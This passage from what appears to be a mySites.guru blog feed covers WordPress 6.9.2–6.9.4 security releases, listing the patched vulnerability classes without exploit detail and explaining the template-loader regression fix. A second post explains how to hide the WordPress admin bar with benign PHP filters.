&lt;li&gt;&lt;strong&gt;Blind SSRF&lt;/strong&gt; - reported by &lt;a href=&quot;https://hackerone.com/sibwtf&quot;&gt;sibwtf&lt;/a&gt; and several other researchers&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PoP-chain weakness&lt;/strong&gt; in the HTML API and Block Registry - reported by &lt;a href=&quot;https://github.com/hackerlo2003&quot;&gt;Phat RiO&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Regex DoS&lt;/strong&gt; in numeric character references - reported by Dennis Snell of the WordPress Security Team&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stored XSS in nav menus&lt;/strong&gt; - reported by &lt;a href=&quot;https://x.com/Savphill&quot;&gt;Phill Savage&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AJAX &lt;code&gt;query-attachments&lt;/code&gt; authorization bypass&lt;/strong&gt; - reported by &lt;a href=&quot;https://www.vitalysim.com/&quot;&gt;Vitaly Simonovich&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stored XSS via &lt;code&gt;data-wp-bind&lt;/code&gt; directive&lt;/strong&gt; - reported by &lt;a href=&quot;https://profiles.wordpress.org/kaminuma/&quot;&gt;kaminuma&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;XSS overriding client-side templates in admin&lt;/strong&gt; - reported by &lt;a href=&quot;https://hackerone.com/amosec&quot;&gt;Asaf Mozes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PclZip path traversal&lt;/strong&gt; - reported independently by &lt;a href=&quot;https://profiles.wordpress.org/francescocarlucci/&quot;&gt;Francesco Carlucci&lt;/a&gt; and &lt;a href=&quot;https://profiles.wordpress.org/kaminuma/&quot;&gt;kaminuma&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Authorization bypass on the Notes feature&lt;/strong&gt; - reported by &lt;a href=&quot;https://profiles.wordpress.org/kaminuma/&quot;&gt;kaminuma&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;XXE in the external getID3 library&lt;/strong&gt; - reported by &lt;a href=&quot;https://profiles.wordpress.org/regex33/&quot;&gt;Youssef Achtatal&lt;/a&gt;; a &lt;a href=&quot;https://github.com/JamesHeinrich/getID3/releases&quot;&gt;fix to getID3 itself&lt;/a&gt; has also been coordinated&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;These fixes are being backported to all branches still receiving security updates (currently back to 4.7). WordPress 7.0 Beta 4, &lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-3-and-7-0-beta-4/&quot;&gt;also released on March 10&lt;/a&gt;, includes all 10 security patches plus 49 additional updates (14 in the Editor, 35 in Core). WordPress 7.0 was originally targeting April 9, 2026, but the release has &lt;a href=&quot;https://mysites.guru/blog/wordpress-7-requirements/&quot;&gt;since been delayed&lt;/a&gt; while the core team reworks the real-time collaboration architecture.&lt;/p&gt;
&lt;p&gt;Staying on 6.9.1 or earlier means your site is exposed to all 10 of these. Update to 6.9.4.&lt;/p&gt;
&lt;h2&gt;What went wrong with WordPress 6.9.2?&lt;/h2&gt;
&lt;p&gt;John Blackbourn, a WordPress core developer, responded in the &lt;a href=&quot;https://wordpress.org/support/topic/no-pages-displaying-after-wp-updates-to-6-9-2/&quot;&gt;support forums&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;There appears to be an incompatibility with themes that use a certain theme framework under the hood.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A new security check in &lt;code&gt;wp-includes/template-loader.php&lt;/code&gt; added a &lt;code&gt;realpath()&lt;/code&gt; call that expects &lt;code&gt;$template&lt;/code&gt; to be a strict PHP string. Some theme frameworks pass a &quot;stringable object&quot; through the &lt;code&gt;template_include&lt;/code&gt; filter instead, an object with a &lt;code&gt;__toString()&lt;/code&gt; method. That&apos;s worked for years because PHP&apos;s &lt;code&gt;include&lt;/code&gt; handles stringable objects just fine. &lt;code&gt;realpath()&lt;/code&gt; does not. It gets an object, returns &lt;code&gt;false&lt;/code&gt;, and the template never loads. Blank page.&lt;/p&gt;
&lt;p&gt;The bug only affected the front end. wp-admin continued to work, so affected site owners could still log in and manage their sites.&lt;/p&gt;
&lt;h2&gt;What did WordPress 6.9.3 fix?&lt;/h2&gt;
&lt;p&gt;John Blackbourn &lt;a href=&quot;https://github.com/WordPress/wordpress-develop/commit/4b9c72ff0168cf8fdf002ef566b7cbbb6fec6797&quot;&gt;committed the fix&lt;/a&gt; to WordPress trunk, touching &lt;code&gt;wp-includes/template-loader.php&lt;/code&gt; and &lt;code&gt;wp-includes/class-wp-block-patterns-registry.php&lt;/code&gt;. The fix adds a check for stringable objects before calling &lt;code&gt;realpath()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$is_stringy = is_string( $template ) || ( is_object( $template ) &amp;amp;&amp;amp; method_exists( $template, &apos;__toString&apos; ) );
$template   = $is_stringy ? realpath( (string) $template ) : null;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Stringable objects get cast to a string with &lt;code&gt;(string)&lt;/code&gt; before hitting &lt;code&gt;realpath()&lt;/code&gt;. Anything that&apos;s neither a string nor stringable gets set to &lt;code&gt;null&lt;/code&gt; and the security checks reject it as before. The same fix is applied to block pattern file paths in &lt;code&gt;class-wp-block-patterns-registry.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Props to Dennis Snell and Weston Ruter on the fix, committed by John Blackbourn. This fix shipped in 6.9.3.&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;p&gt;The timeline on March 10, 2026:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;6.9.2 released&lt;/strong&gt; - 10 security patches ship&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sites start crashing&lt;/strong&gt; - blank front pages reported within hours on certain theme frameworks&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WordPress pulls the release&lt;/strong&gt; - version API and download page revert to 6.9.1&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;John Blackbourn confirms the bug&lt;/strong&gt; in the support forums and identifies the theme framework incompatibility&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Jos Klever posts a workaround&lt;/strong&gt; - replace &lt;code&gt;wp-includes/template-loader.php&lt;/code&gt; with the 6.9.1 version&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;John Blackbourn commits the fix to trunk&lt;/strong&gt; - stringable object support added to template loader and block patterns registry&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;21:44 UTC - Otto (WordPress.org Tech Guy) confirms on Reddit&lt;/strong&gt; that 6.9.3 is coming shortly and that the affected frameworks are &quot;pretty rare&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;~22:40 UTC - 6.9.3 goes live&lt;/strong&gt; - version API, download page, and releases archive all show 6.9.3&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;March 11, 2026:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WordPress Security Team discovers incomplete patches&lt;/strong&gt; - Thomas Kräftner&apos;s responsible disclosure confirms that three of the 10 security fixes from 6.9.2 weren&apos;t fully applied&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;6.9.4 released&lt;/strong&gt; - completes the PclZip path traversal fix, Notes authorization bypass fix, and XXE fix in getID3&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What did WordPress say officially about 6.9.3?&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://wordpress.org/documentation/wordpress-version/version-6-9-3/&quot;&gt;WordPress 6.9.3 release page&lt;/a&gt; describes this as a &quot;fast follow&quot; to 6.9.2. The page notes that passing stringable objects through the &lt;code&gt;template_include&lt;/code&gt; filter is not an officially supported method in WordPress - the filter is documented as only accepting strings. But enough themes relied on it that the team restored compatibility anyway.&lt;/p&gt;
&lt;p&gt;Only two files changed between 6.9.2 and 6.9.3: &lt;code&gt;wp-includes/template-loader.php&lt;/code&gt; and &lt;code&gt;wp-includes/class-wp-block-patterns-registry.php&lt;/code&gt;. All 10 security fixes from 6.9.2 remain intact.&lt;/p&gt;
&lt;h2&gt;What did WordPress 6.9.4 fix?&lt;/h2&gt;
&lt;p&gt;&amp;lt;p class=&quot;text-sm text-neutral-500 dark:text-neutral-400&quot;&amp;gt;&amp;lt;time datetime=&quot;2026-03-11&quot;&amp;gt;Updated: 11 March 2026&amp;lt;/time&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;One day after the 6.9.2/6.9.3 saga, &lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-4-release/&quot;&gt;WordPress 6.9.4&lt;/a&gt; shipped. From the &lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-4-release/&quot;&gt;release announcement&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The WordPress Security Team has discovered that not all of the security fixes were fully applied, therefore 6.9.4 has been released containing the necessary additional fixes.&lt;/p&gt;
&lt;p&gt;Because this is a security release, it is recommended that you update your sites immediately.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So what happened? Three of the 10 security patches that shipped in 6.9.2 were incomplete. The vulnerabilities were partially addressed but not fully closed. Thomas Kräftner discovered this through responsible disclosure, and the WordPress security team confirmed it. Neither 6.9.2 nor 6.9.3 had complete fixes for these three issues - only 6.9.4 does.&lt;/p&gt;
&lt;p&gt;The three fixes that were incomplete in 6.9.2 and 6.9.3:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;PclZip path traversal&lt;/strong&gt; - the original patch in 6.9.2 didn&apos;t fully close the path traversal vector. 6.9.4 updates &lt;code&gt;/wp-admin/includes/file.php&lt;/code&gt; with the complete fix. Originally reported by Francesco Carlucci and kaminuma.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Authorization bypass on the Notes feature&lt;/strong&gt; - the REST API endpoint for comments (&lt;code&gt;/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php&lt;/code&gt;) needed an additional authorization check. Originally reported by kaminuma.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;XXE in the getID3 library&lt;/strong&gt; - the XML external entity vulnerability in &lt;code&gt;/wp-includes/ID3/getid3.lib.php&lt;/code&gt; wasn&apos;t fully mitigated. A new version of the external getID3 library has also been released by James Heinrich. Originally reported by Youssef Achtatal.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Three files changed between 6.9.3 and 6.9.4:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/wp-admin/includes/file.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/wp-includes/ID3/getid3.lib.php&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-amber-900 dark:text-amber-200&quot;&amp;gt;If you updated to 6.9.3, you still need 6.9.4&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-amber-800 dark:text-amber-300&quot;&amp;gt;6.9.3 fixed the theme crash from 6.9.2, but it carries the same incomplete security patches. The path traversal, authorization bypass, and XXE fixes are only fully applied in 6.9.4. Update now.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;What did the WordPress security team learn from the retrospective?&lt;/h2&gt;
&lt;p&gt;&amp;lt;p class=&quot;text-sm text-neutral-500 dark:text-neutral-400&quot;&amp;gt;&amp;lt;time datetime=&quot;2026-03-25&quot;&amp;gt;Updated: 25 March 2026&amp;lt;/time&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Two weeks later, the WordPress Security Team published an &lt;a href=&quot;https://make.wordpress.org/core/2026/03/25/wordpress-6-9-2-retrospective/&quot;&gt;official retrospective&lt;/a&gt; on the whole saga.&lt;/p&gt;
&lt;p&gt;The biggest takeaway: &lt;strong&gt;there was no step in the minor release checklist to verify that all commits were successfully merged into the release branch.&lt;/strong&gt; Three of the 10 security commits made it into trunk but never landed in the 6.9 branch, which is how 6.9.2 shipped with incomplete patches. The team calls it a checklist oversight that had simply never been caught before.&lt;/p&gt;
&lt;p&gt;Backporting was painful too. Applying the fixes to 22 older branches (back to 4.7) took the better part of a week, partly due to contributor time constraints and partly because a bug in the WordPress.org SVN pre-commit hook blocked pushes to the 5.2 branch and earlier. The 6.0 branch (6.0.12) remains unreleased at time of writing due to an unresolved build issue.&lt;/p&gt;
&lt;p&gt;Some things did go well. Shipping 6.9.2 before starting backports got the fix out to the majority of sites faster. Releasing 7.0 Beta 4 alongside 6.9.3 meant beta testers weren&apos;t left on a known-insecure version, something that&apos;s only happened three times in WordPress&apos;s 20-year history.&lt;/p&gt;
&lt;p&gt;Going forward, the team plans to add merge verification to the release checklist, improve automation around backports, require built-asset testing before tagging, and add unit test coverage for stringable objects in the &lt;code&gt;template_include&lt;/code&gt; filter. Matt Mullenweg has also asked the team to explore AI-assisted tooling for reviewing changes going into releases to assess breakage risk.&lt;/p&gt;
&lt;p&gt;If you manage WordPress sites professionally, the &lt;a href=&quot;https://make.wordpress.org/core/2026/03/25/wordpress-6-9-2-retrospective/&quot;&gt;full retrospective&lt;/a&gt; is worth reading. A 20-year-old release process still had gaps nobody noticed until three patches slipped through.&lt;/p&gt;
&lt;h2&gt;What should you do now?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Update to WordPress 6.9.4.&lt;/strong&gt; It includes all 10 security patches (fully applied), the theme regression fix from 6.9.3, and the three corrected patches. There&apos;s no reason to stay on an older version.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;On 6.9.1 or earlier?&lt;/strong&gt; Update to 6.9.4. You&apos;re missing 10 security fixes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;On 6.9.2 with a broken front end?&lt;/strong&gt; Update to 6.9.4 from wp-admin (which still works) or replace &lt;code&gt;wp-includes/template-loader.php&lt;/code&gt; via SFTP, then update to 6.9.4.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;On 6.9.2 or 6.9.3 and everything works?&lt;/strong&gt; Still update to 6.9.4. Three security patches are incomplete in those versions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Have auto-updates enabled?&lt;/strong&gt; Your site should pick up 6.9.4 automatically. Check to make sure it did. If you want more control over when updates happen, you can &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable automatic WordPress updates entirely&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;allow only minor security patches&lt;/a&gt; while blocking major version jumps.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After updating, run a &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scan&lt;/a&gt; to check whether any of these vulnerabilities were exploited before the patch landed on your site.&lt;/p&gt;
&lt;h2&gt;What if you manage large numbers of WordPress sites?&lt;/h2&gt;
&lt;p&gt;Replacing one file or clicking &quot;Update&quot; on one site is straightforward. But if you&apos;re an agency or freelancer responsible for 50, 100, or 200+ client sites, today was probably stressful. Which sites auto-updated to 6.9.2? Which are still on 6.9.1 and exposed to 10 unpatched vulnerabilities? Which ones have already picked up 6.9.4? You need answers to all of those questions, and you need them fast.&lt;/p&gt;
&lt;p&gt;That&apos;s what &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; is built for. From a single dashboard you can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;See every site&apos;s WordPress version at a glance&lt;/strong&gt; - instantly know which sites are on 6.9.1, 6.9.2, 6.9.3, or 6.9.4 without logging into each one&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Get &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;vulnerability alerts&lt;/a&gt;&lt;/strong&gt; - we monitor WordPress core, plugins, and themes for known security issues and notify you when your sites are affected&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Push updates to all your sites at once&lt;/a&gt;&lt;/strong&gt; - roll out 6.9.4 across your entire portfolio in minutes instead of hours&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;Schedule updates&lt;/a&gt;&lt;/strong&gt; for maintenance windows instead of relying on auto-updates that break things at 2am on a Saturday&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free security audit&lt;/a&gt;&lt;/strong&gt; on any site to check for outdated software, misconfigurations, and known vulnerabilities&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Days like today are exactly why we built mySites.guru. &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Start for free&lt;/a&gt; - no credit card required.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/03/25/wordpress-6-9-2-retrospective/&quot;&gt;WordPress 6.9.2 retrospective&lt;/a&gt; - the Security Team&apos;s post-mortem covering what went well, what didn&apos;t, and action items&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-4-release/&quot;&gt;WordPress 6.9.4 release announcement&lt;/a&gt; - official post confirming three incomplete patches, by John Blackbourn&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/documentation/wordpress-version/version-6-9-4/&quot;&gt;WordPress 6.9.4 release page&lt;/a&gt; - documentation listing the three files changed and the security fixes completed&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-3-and-7-0-beta-4/&quot;&gt;WordPress 6.9.3 and 7.0 Beta 4 announcement&lt;/a&gt; - official news post covering both releases, by John Blackbourn&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/documentation/wordpress-version/version-6-9-3/&quot;&gt;WordPress 6.9.3 release page&lt;/a&gt; - official &quot;fast follow&quot; release notes confirming the two-file fix&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-2-release/&quot;&gt;WordPress 6.9.2 release announcement&lt;/a&gt; - official post from the WordPress team&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/support/topic/no-pages-displaying-after-wp-updates-to-6-9-2/&quot;&gt;Support thread: &quot;No pages displaying after WP updates to 6.9.2&quot;&lt;/a&gt; - where John Blackbourn confirmed the bug and Jos Klever posted the workaround&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://api.wordpress.org/core/version-check/1.7/?version=6.9&quot;&gt;WordPress version check API&lt;/a&gt; - now shows 6.9.4 as latest stable&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/WordPress/wordpress-develop/commit/4b9c72ff0168cf8fdf002ef566b7cbbb6fec6797&quot;&gt;Fix commit in trunk&lt;/a&gt; - John Blackbourn&apos;s commit adding stringable object support to the template loader and block patterns registry&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/WordPress/wordpress-develop/commits/trunk/&quot;&gt;WordPress trunk commits&lt;/a&gt; - full commit history&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.reddit.com/r/Wordpress/comments/1rq4gva/comment/o9qsur3/&quot;&gt;Otto&apos;s Reddit comment&lt;/a&gt; - WordPress.org Tech Guy confirming 6.9.3 was coming shortly&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.reddit.com/r/Wordpress/comments/1rq4gva/wordpress_692_release_security_release_today/&quot;&gt;Reddit: r/Wordpress discussion&lt;/a&gt; - community discussion and reports from affected site owners&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Read our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;complete security guide&lt;/a&gt; for handling incidents like this at scale.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>updates</category><enclosure url="https://mysites.guru/_astro/wordpress-6-9-4-security-release.Phpb9jXy.png" length="0" type="image/png"/></item><item><title>How to Disable the WordPress Admin Menu Bar on the Frontend When Logged In</title><link>https://mysites.guru/blog/disable-wordpress-admin-bar-frontend/</link><guid isPermaLink="true">https://mysites.guru/blog/disable-wordpress-admin-bar-frontend/</guid><description>Remove the WordPress admin toolbar from your frontend with a per-user toggle, functions.php filter, or one click across all your sites. Code included.</description><pubDate>Mon, 09 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Why is the admin bar a problem?&lt;/h2&gt;
&lt;p&gt;Log into any WordPress site and visit the frontend. There it is: a black toolbar spanning the top of the page, offering links to the dashboard, the current page&apos;s edit screen, and whatever else WordPress and your plugins decide to put there.&lt;/p&gt;
&lt;p&gt;For a solo site admin, the toolbar is handy. For everyone else who&apos;s logged in (subscribers, customers, members, students) it&apos;s confusing clutter. On a WooCommerce store, a logged-in customer sees admin links they can&apos;t use. On a membership site, subscribers see a toolbar that has nothing to do with their experience. If you &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;manage multiple WordPress sites&lt;/a&gt;, this becomes a recurring annoyance across your entire portfolio.&lt;/p&gt;
&lt;p&gt;And then there&apos;s the design problem. The admin bar adds 32 pixels of fixed positioning to the top of every page. Custom themes with fixed headers, sticky navigation, or precise spacing get pushed down. Fullscreen hero sections have a black bar on top that doesn&apos;t match the site&apos;s branding.&lt;/p&gt;
&lt;h2&gt;What are the three ways to disable the frontend admin bar?&lt;/h2&gt;
&lt;h3&gt;Per-user toggle&lt;/h3&gt;
&lt;p&gt;WordPress provides a per-user setting: go to Users → click a user → uncheck &quot;Show Toolbar when viewing site.&quot; This works for individual users but doesn&apos;t scale. You&apos;d need to edit every user profile, and new users get the toolbar enabled by default.&lt;/p&gt;
&lt;h3&gt;Theme functions filter&lt;/h3&gt;
&lt;p&gt;Add this to your theme&apos;s &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Disable admin bar for all non-administrators
add_filter(&apos;show_admin_bar&apos;, function () {
    return current_user_can(&apos;manage_options&apos;);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This keeps the bar for admins and hides it for everyone else. It&apos;s a code change that needs to be in your theme (or a custom plugin), and it needs to be replicated across every site. If you&apos;re already editing wp-config.php for other things, &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;WordPress debug constants&lt;/a&gt; covers the related configuration options.&lt;/p&gt;
&lt;h3&gt;Plugin approach&lt;/h3&gt;
&lt;p&gt;Several plugins exist to manage admin bar visibility by role. Each one is another dependency to maintain across your WordPress portfolio. You can also &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;block plugin installs entirely&lt;/a&gt; with a wp-config.php constant if you want to lock things down further.&lt;/p&gt;
&lt;h2&gt;Why is this challenging across multiple sites?&lt;/h2&gt;
&lt;p&gt;The frontend admin bar setting is easy to configure on one site but tedious across many. The first three approaches above all need to be applied individually:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Per-user toggles don&apos;t transfer between sites&lt;/li&gt;
&lt;li&gt;Theme function changes only apply to the theme they&apos;re in&lt;/li&gt;
&lt;li&gt;Plugins need installing and configuring on each site&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For agencies managing 20+ WordPress sites, each with its own theme and user base, keeping this consistent requires either meticulous documentation or a centralised management tool. We wrote more about this in &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;how to manage multiple WordPress sites like a pro&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru handle this?&lt;/h2&gt;
&lt;p&gt;mySites.guru&apos;s snapshot has a toggle for &quot;Disable the menu bar on the frontend when logged in.&quot; Flip it, and the admin bar is hidden for all logged-in users on that site. If you change your mind, you can toggle it back with one click.&lt;/p&gt;
&lt;p&gt;Under the hood, mySites.guru deploys a &lt;a href=&quot;https://developer.wordpress.org/advanced-administration/plugins/mu-plugins/&quot;&gt;must-use plugin&lt;/a&gt; with this filter:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add_filter(&apos;show_admin_bar&apos;, &apos;__return_false&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Must-use plugins load before regular plugins and can&apos;t be deactivated from the WordPress admin, so the setting sticks regardless of theme changes or plugin conflicts. You don&apos;t need to touch code or manage yet another plugin.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Instead of adding a filter to each theme or clicking through user profiles, you toggle it once per site from the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru dashboard&lt;/a&gt;. The tool page shows the current state of this setting across all your WordPress sites at a glance:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Snapshot monitoring tracks the setting going forward, so if a theme update or plugin re-enables it, you&apos;ll know.&lt;/p&gt;
&lt;p&gt;The same dashboard handles related settings like &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;removing the WP logo from the admin bar&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;stopping automatic updates&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;monitoring plugin vulnerabilities&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What about removing the WordPress logo from the admin bar?&lt;/h2&gt;
&lt;p&gt;This is a different thing from hiding the bar entirely. The WordPress logo in the admin bar links to WordPress.org resources and visually identifies the CMS. On white-label client sites, you probably want it gone. mySites.guru has a &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;one-click toggle to remove the WP logo&lt;/a&gt; from both the frontend and backend toolbar.&lt;/p&gt;
&lt;h2&gt;When should you disable the frontend admin bar?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Disable for non-admins when:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Running a membership or e-commerce site where customers log in&lt;/li&gt;
&lt;li&gt;The theme&apos;s design conflicts with the 32px admin bar offset&lt;/li&gt;
&lt;li&gt;Clients are confused by admin links they can&apos;t use&lt;/li&gt;
&lt;li&gt;You want a clean, branded frontend experience&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Keep enabled when:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Only administrators log into the site&lt;/li&gt;
&lt;li&gt;Content editors need quick access to the &quot;Edit Page&quot; link from the frontend&lt;/li&gt;
&lt;li&gt;The site has few logged-in users and the convenience outweighs the clutter&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For most client sites managed by agencies, disabling the frontend admin bar for non-admin roles is the right default.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/functions/show_admin_bar/&quot;&gt;show_admin_bar() function reference&lt;/a&gt; -- Official WordPress developer docs for the function that controls admin bar visibility.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/hooks/show_admin_bar/&quot;&gt;show_admin_bar filter hook&lt;/a&gt; -- The recommended way to hide the admin bar, documented with usage examples.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/functions/is_admin_bar_showing/&quot;&gt;is_admin_bar_showing() function reference&lt;/a&gt; -- Check whether the admin bar is currently displayed; useful for conditional logic in themes.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/apis/hooks/&quot;&gt;WordPress Hooks API&lt;/a&gt; -- How actions and filters work in WordPress, for context on the show_admin_bar filter approach.&lt;/li&gt;
&lt;/ul&gt;
